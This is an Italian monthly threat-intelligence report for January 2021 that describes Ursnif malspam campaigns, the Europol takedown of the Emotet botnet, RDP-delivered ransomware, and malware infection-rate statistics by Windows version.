rio  Ursnif (noto anche come Gozi o IFSB) nel mese 

di gennaio. 

Come abbiamo visto, questo malware è uno dei 

più diffusi via email in Italia, a gennaio è stato vei-

colato attraverso 6 campagne di malspam concen-

trate nelle ultime 2 settimane del mese contro le 7 

campagne di dicembre. 

Come si può vedere dalla figura a fianco, l’anda-

mento delle campagne si è concentrato nella terza 

e nella quarta settimana di gennaio. 

Le principali campagne veicolate hanno sfruttato i 

seguenti temi: 

 ENEL ENERGIA (1) 

 BRT S.p.A. (1) 

 INPS (2) 

 Enigaseluce (1) 

 Ministero dello Sviluppo Economico (1) 

Dall’analisi delle campagne di malspam e dalle 

configurazioni individuate all’interno del trojan 

bancario Ursnif utilizzato, vi sono due gruppi di-

stinti che hanno sfruttato questo malware a gen-

naio per attaccare l’utenza italiana. Il primo grup-

po ha veicolato quattro campagne di malspam a 

tema Ministero dello Sviluppo Economico, eniga-

seluce e INPS invece il secondo si è limitato a due 

campagne a tema “Enel Energia” e “B.R.T. S.p.A.”.  

Analisi delle campagne di gennaio 

Ursnif 

19/01/2021 BRT Codice Cliente 
[nnnnnnn…] 

19/01/2021 EnelEnergia—Emissione 
Bolletta PEC 

21/01/2021  INPS—comunicazione al 
collaborante per 
documentazione insufficiente 

21/01/2021 INPS—notifica al collaborante 
per documentazione 
insufficiente 

22/01/2021 enigaseluce—primo sollecito 
di pagamento parcella 

28/01/2021 Min. Sviluppo Economico — 
Circolare 28/01/2021 , 
informazione aiuti per le 
imprese 

Ursnif—Campagne Malspam 
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Questi due gruppi cyber risultano essere attivi in 

Italia da diversi mesi. Il primo sfrutta temi istituzio-

nali italiani, come ad esempio l’Agenzia delle Entra-

te oppure INPS come segnalato. Il secondo invece 

sfrutta il tema di fatture o ordini collegati a società 

di spedizione come BRT (Bartolini), DHL oppure 

Enel Energia e/o enigaseluce. 

 

Ursnif è un trojan bancario,  i cui sorgenti essendo 

divenuti di pubblico dominio, hanno originato un 

“fork”, che ha portato allo sviluppo delle seguenti: 

 Versione 2; 

 Versione 3. 

In Italia sono circolate, fino 

ad aprile 2020, entrambe le 

versioni, ma nel mese di gen-

naio è stata rilevata esclusi-

vamente la versione 2. 

Nel mese di gennaio il grup-

po che utilizza nelle campa-

gne il tema “BRT S.p.a.” e 

“EnelEnergia” ha utilizzato la 

build 2.51.173 , l’altro gruppo 

ha invece utilizzato sia per le campagne del 24 gennaio che per quella del 25 gennaio la build 2.50.171. 

Nel grafico sottostante possiamo vedere come è cambiato l’ID associato al gruppo dell’Ursnif relativo 

alle campagne Inps, enigaseluce ed Il Ministero dell’economia. 
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Analisi delle campagne di gennaio 

Emotet 

Il mese di gennaio 2021 verrà ricordato per lo 

smantellamento della Botnet di  Emotet da parte 

dell’Europol in collaborazione con la polizia Ucrai-

na e dell’FBI. 

Il mese di gennaio si apre come si era concluso  il 

mese di dicembre 2020.  Emotet riprende le sue 

campagne ad intermittenza nei giorni 4, 5, 12 e 13 

gennaio per festeggiare natale e capodanno orto-

dosso. Dal 20 gennaio Emotet riprende a spamma-

re con una certa continuità fino ad arrivare al 25 

gennaio. Il 25 gennaio mattina Emotet inizia a 

spammare come al solito, ma durante la pausa 

pranzo, vi è una brusca interruzione nella campa-

gne di malspam. 

Il 26 gennaio osserviamo uno strano comporta-

mento di Emotet, da tutti i server C2 delle tre 

differenti Epoch (E1, E2, E3) viene scaricato lo stes-

so payload in formato EXE o DLL, unificando così 

tutte le Epoch in un’unica botnet. Questo aggior-

namento del payload di Emotet contatta sempre 

gli stessi C2 (tutti appartenenti alla stessa subnet) 

di una serie di server geolocalizzati in Germania, 

come ad esempio l’indirizzo IP 80.158.59.]174.  

Il 27 gennaio l’Europol comunica di aver ufficial-

mente smantellato la Botnet di Emotet attraverso 

l’operazione Ladybird, che ha coinvolto le autorità 

di diversi Paesi: Olanda, Germania, Stati Uniti, Re-

gno Unito, Francia, Lituania e Ucraina.  

Comunicato stampa: https://

www.europol.europa.eu/newsroom/news/world%

E2%80%99s-most-dangerous-malware-emotet-

disrupted-through-global-action 

https://www.europol.europa.eu/newsroom/news/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action
https://www.europol.europa.eu/newsroom/news/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action
https://www.europol.europa.eu/newsroom/news/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action
https://www.europol.europa.eu/newsroom/news/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action
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L’operazione dell’Europol ha permesso di confi-

scare ed entrare in possesso dei server C2 di Emo-

tet di livello 2 e 3. In questo modo sono riusciti ad 

avere il pieno controllo dell’infrastruttura di Emo-

tet. Alcuni server C2 di livello 2 e 3 erano localizzati  

in Olanda e negli Stati Uniti. 

Dalle informazioni in nostro possesso, questa ope-

razione sembra essere iniziata il 25 gennaio in pau-

sa pranzo, quando vi è stata la brusca interruzione  

delle campagne di malspam di Emotet. Il 26 gen-

naio la polizia tedesca ha unificato le tre Epoch di 

Emotet, rilasciando un aggiornamento del payload 

che contattasse sempre gli stessi C2 (server di una 

stessa subnet appartenenti alla polizia tedesca). 

Nelle stesse ore la polizia ucraina arrestava due 

sospettati collegati ad Emotet, come si può vede-

re nel video diffuso dalle stesse forze dell’ordine 

durante l’irruzione  in due appartamenti nelle città 

di Kharkiv in Ucraina: link al video  

https://www.youtube.com/watch?v=_BLOmClsSpc 

L’infrastruttura di Emotet era costituita da 3 livelli 

di server C2: Livello 1, Livello 2 e Livello 3. 

I server di Livello 1 erano web server compromessi 

di terze parti, invece i server di Livello 2 e 3 erano 

noleggiati e controllati dai cyber-criminali di Emo-

tet. La primaria funzione dei server di Livello 1 e 2 

era di inoltrare le comunicazioni cifrate ai server di 

Livello 3. Ogni payload di Emotet conteneva una 

lista di server C2 di Livello 1, che venivano contat-

tati ogni 15 minuti. I server di Livello 3 avevano un 

pannello di controllo utilizzato dai cyber-criminali 

per inviare comandi ai computer infettati (ad 

esempio esfiltrazioni di dati, aggiornamento del 

payload). 

L’operazione Ladybird ha permesso di ottenere 

l’accesso ai server C2 di livello 2 e 3 da parte delle 

forze dell’ordine dei rispettivi Paesi dove erano 

ubicati i web host.  

https://www.youtube.com/watch?v=_BLOmClsSpc
https://www.youtube.com/watch?v=_BLOmClsSpc
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Questo ha permesso di identificare che circa 1,6 milioni di computer nel mondo erano infettati da Emo-

tet dal 1° aprile 2020 al 17 gennaio 2021, di cui 45.000 computer erano localizzati nel territorio degli Sta-

ti Uniti. 

Il 26 gennaio 2021, attraverso gli accessi ai server C2 di Livello 2 e 3, l’Europol in collaborazione con l’F-

BI, ha rimpiazzato il payload di Emotet memorizzato fisicamente nei server, con un file  creato dalle 

forze dell’ordine, inserendo una nuova chiave di cifratura e aggiornando la lista dei server C2 di Livello 

1 con quelli di proprietà delle forze dell’ordine tedesche (geolocalizzati in Germania). I computer infet-

tati hanno così scaricato il file creato dalle forze dell’ordine attraverso i server C2 di Livello 2 e Livello 

3. 

In base alle informazione condivise dall’FBI, affermano di aver preso il controllo di un server C2 di Livel-

lo 3 all’estero (si presume in Olanda e confiscato dalle forze dell’ordine olandesi) e attraverso  questo, 

hanno identificato alcuni server C2 di distribuzione di Livello 2. Questo ha permesso all’FBI di identifi-

care  3 server C2 di Livello 2 negli Stati Uniti ospitati dal provider “DigitalOcean, LLC”: 

 104.236.176.245 

 162.243.158.154 

 178.128.33.106 

Gli indirizzi IP dei 3 server C2 di Livello 2 ospitati dal provider DigitalOcean sono “Virtual Private Ser-

ver”, che possono far girare differenti sistemi operativi.  Gli agenti dell’FBI hanno confiscato in totale 6 

file, 2 file per ogni indirizzo IP contenente rispettivamente il dump della memoria e l’immagine fisica 

del disco, per un totale di 60 GB di materiale. 

L’operazione Ladybird condotta dall’Europol in collaborazione con le forze dell’ordine di altri Paesi ha 

permesso di smantellare una delle più grandi Botnet a livello mondiale attiva dal 2014. Lo smantella-

mento di Emotet non deve però far abbassare la guardia, infatti Emotet nei computer infettati ha vei-

colati altri malware come QakBot, ZLoader e TrickBot, questi risultano essere ancora attivi e potenzial-

mente molto pericolosi, indipendentemente dallo smantellamento della Botnet di Emotet. 

 

Ad oggi non è ancora chiaro il ruolo delle due persone arrestate dalle forze dell’ordine ucraine nel raid 

nella città di Kharkiv, se questi sono le “menti” di Emotet oppure collaboratori della gang con un ruolo 

minore. Alla domanda se Emotet potrà ritornare, ad oggi non vi sono elementi per poter rispondere, 

ma un duro colpo è stato infetto ai cyber-criminali che sembravano essere “intoccabili”. 
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Gennaio 2021- ITALIA 

Ransomware 

Questo mese registriamo una leggera flessione 

degli attacchi ransomware rispetto al mese prece-

dente. 

La nostra telemetria ha registrato gli attacchi dei 

seguenti ransomware: 

 Phobos; 

 Makop; 

 

I ransomware identificati a gennaio derivano da 

attacchi attraverso il desktop remoto (RDP) mirati 

verso aziende italiane. 

Gli attacchi via RDP mirati/“targettizzati” verso 

aziende italiane, permettono un accesso abusivo 

al sistema per eseguire direttamente il ran-

somware. In queste particolari situazioni il cyber-

criminale o attaccante cerca di disinstallare l’anti-

virus o di renderlo inefficace, in modo che l’attac-

co ransomware  abbia successo. 

Nelle successive figure possiamo vedere le richie-

ste di riscatto rispettivamente dei ransomware 

Phobos e Makop. 
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Il 19 gennaio la società Fattorie Garofalo è stata colpita da un attacco ransomware con esfiltrazione di 

dati. 

A darne notizia è stato il gruppo di cyber-criminali di Conti attraverso un post nel proprio blog nel dark 

web, come possiamo vedere dalla seguente immagine: 
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Gennaio 2021 — ITALIA 

Prevalenza  

Quanto sono protetti i computer in Italia dagli at-

tacchi informatici ? Quanto è alto il rischio che un 

utente sia colpito da un ransomware ? 

Per rispondere a queste domande dobbiamo par-

lare di “prevalenza” e “infection rate”. 

La prevalenza è un indice che ci permette di capire 

lo stato della Cyber-Security.  Questo dato  forni-

sce  lo stato di “salute” dei computer,  quantifi-

cando il numero di computer colpiti da malware. 

Vediamo ora i dati relativi alla prevalenza dei mal-

ware registrati dal C.R.A.M. di TG Soft nel mese di 

gennaio. Per prevalenza si intende l'incidenza che 

i malware hanno in un determinato periodo. Il va-

lore calcolato si chiama "rate di infezione". 

Il rate di infezione viene calcolato dividendo il nu-

mero di computer ove siano stati rilevati attacchi 

per il numero di computer dove è installato il soft-

ware anti-virus Vir.IT eXplorer. 

Possiamo calcolare il rate di infezione per le se-

guenti categorie: 

 Tipologia del malware 

 Sistema operativo (client/server) 

Confermati al primo posto i Trojan con una per-

centuale del 3,91%. Secondo posto confermato per 

i PUP , con una percentuale del 2,01%. Terzo gradi-

no del podio per la categoria Adware con l'1,77%. 

In 4a e 5a posizione troviamo le MACRO WORD ed 

EXCEL. In discesa i VIRUS (0,36%) che cedono la 

sesta posizione ai DIALER  (0,57%) . Si mantengo-

no in 9a posizione i Ransomware con lo 0,27%. in 

leggera flessione rispetto al mese scorso. Sono 

considerati tra i malware più pericolosi se non ad-

dirittura i più incontrastabili qualora si fosse 

sprovvisti di tecnologie Anti-Ransomware. Ricor-

diamo che per Ransomware vengono considerati 

tutti i malware che chiedono un riscatto, come, ad 

esempio, i Crypto-malware (SodinoKibi,  Phobos, 

LockBit etc.) e il vecchio, famoso ed oramai estin-

to FakeGDF (virus della polizia di stato, guardia di 

finanza etc.). 
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Andiamo ora ad analizzare la prevalenza delle infe-

zioni del mese di Gennaio 2021, in base ai sistemi 

operativi suddivisi tra sistemi Server e Client. Nelle 

immagini che seguono i dati raccolti sono stati 

suddivisi secondo i sistemi operativi Windows Ser-

ver e Client in macro categorie, senza dividere per 

tipo di architettura o per le varianti che la stessa 

versione può avere (es: Server 2008 R2, Server 

2008 R2 Foundation, etc.), calcolati sulla totalità 

delle macchine rispettivamente server e client in-

dicate. 

Analizzando prima i sistemi operativi SERVER, si 

conferma ancora che la probabilità dell’infezione/

attacco di un Server di ultima generazione (2019 o 

2016) rispetto ad un Server 2012 (più datato…) è 

di un ordine di grandezza inferiore, circa 0,70% 

contro 2,79%.  

Nelle statistiche relative alla prevalenza delle infe-

zioni dei computer client nel primo mese del 2021 

abbiamo riscontrato che il 10,30% (contro il 10,51% 

di Dicembre) dei terminali è stato infettato o ha 

subito un attacco. Questo dato indica che 10 com-

puter su 100 sono stati colpiti da malware nel me-

se di gennaio. Nella figura sottostante possiamo 

vedere il grafico delle infezioni in base ai sistemi 

operativi dei Client, dove il campione analizzato è 

così composto:  

 63,75% client con Windows 10  

 27,81% client con Windows 7  

 8,44% client con altri s.o. Windows  
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Windows 10 e Windows 7 coprono più del 91% del 

parco macchine dei Client, pertanto gli altri siste-

mi operativi sono stati raccolti in un unico gruppo. 

Ma quale sarà il sistema operativo più sicuro ? 

Per rispondere a questa domanda dobbiamo cal-

colare la prevalenza d'infezione sul medesimo si-

stema operativo. Prendendo ad esempio Win-

dows 10, si può notare che il rate di infezione tra 

tutte le macchine ove è installato Windows 10 che 

ha “subito” un attacco informatico è del 9,10% an-

cora lievemente in crescita rispetto a dicembre 

che era del 8,95% . Con questo calcolo possiamo 

capire quindi qual è il sistema operativo più sicuro. 

Nei grafici a torta è stato calcolato l’Infection Rate 

(IR) relativo alla prevalenza sul medesimo sistema 

operativo client. Il sistema operativo che ha subito 

meno attacchi risulta essere Windows 10, questo 

dimostra che utilizzare sistemi operativi moderni e 

supportati riduce il rischio di infezione. 

I sistemi operativi non più supportati da Micro-

soft, come Windows XP e Vista hanno, di fatto, il 

rate d’infezione molto più alto. 

Paragonando I due più vecchi sistemi con Win-

dows 10, si può notare infatti che l’IR di entrambi 

è quasi il doppio rispetto al più recente prodotto 

di Microsoft. 
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Come ultimo grafico delle nostre statistiche, an-

diamo a vedere l’andamento dell’IR relativo al si-

stema operativo Windows 10 negli ultimi 12 mesi. 

Il periodo di maggiore infezione è stato settembre 

2020. In quel periodo si è avuto in Italia una massi-

va diffusione di campagne malware atte a distri-

buire il trojan Emotet. Negli ultimi 12 mesi Emotet 

si è diffuso da dicembre 2019 fino a metà febbraio 

2020, per poi riprendere la sua attività dal mese di 

luglio 2020. 

Il ritorno di Emotet a Gennaio 2021 potrebbe esse-

re una delle cause che ha riportato il rate di infe-

zione di Windows 10 sopra la soglia dei nove punti 

percentuali (9,1% ). 

Nel Report alla sezione EMOTET è possibile con-

sultare interessanti informazioni sulla vicenda. 
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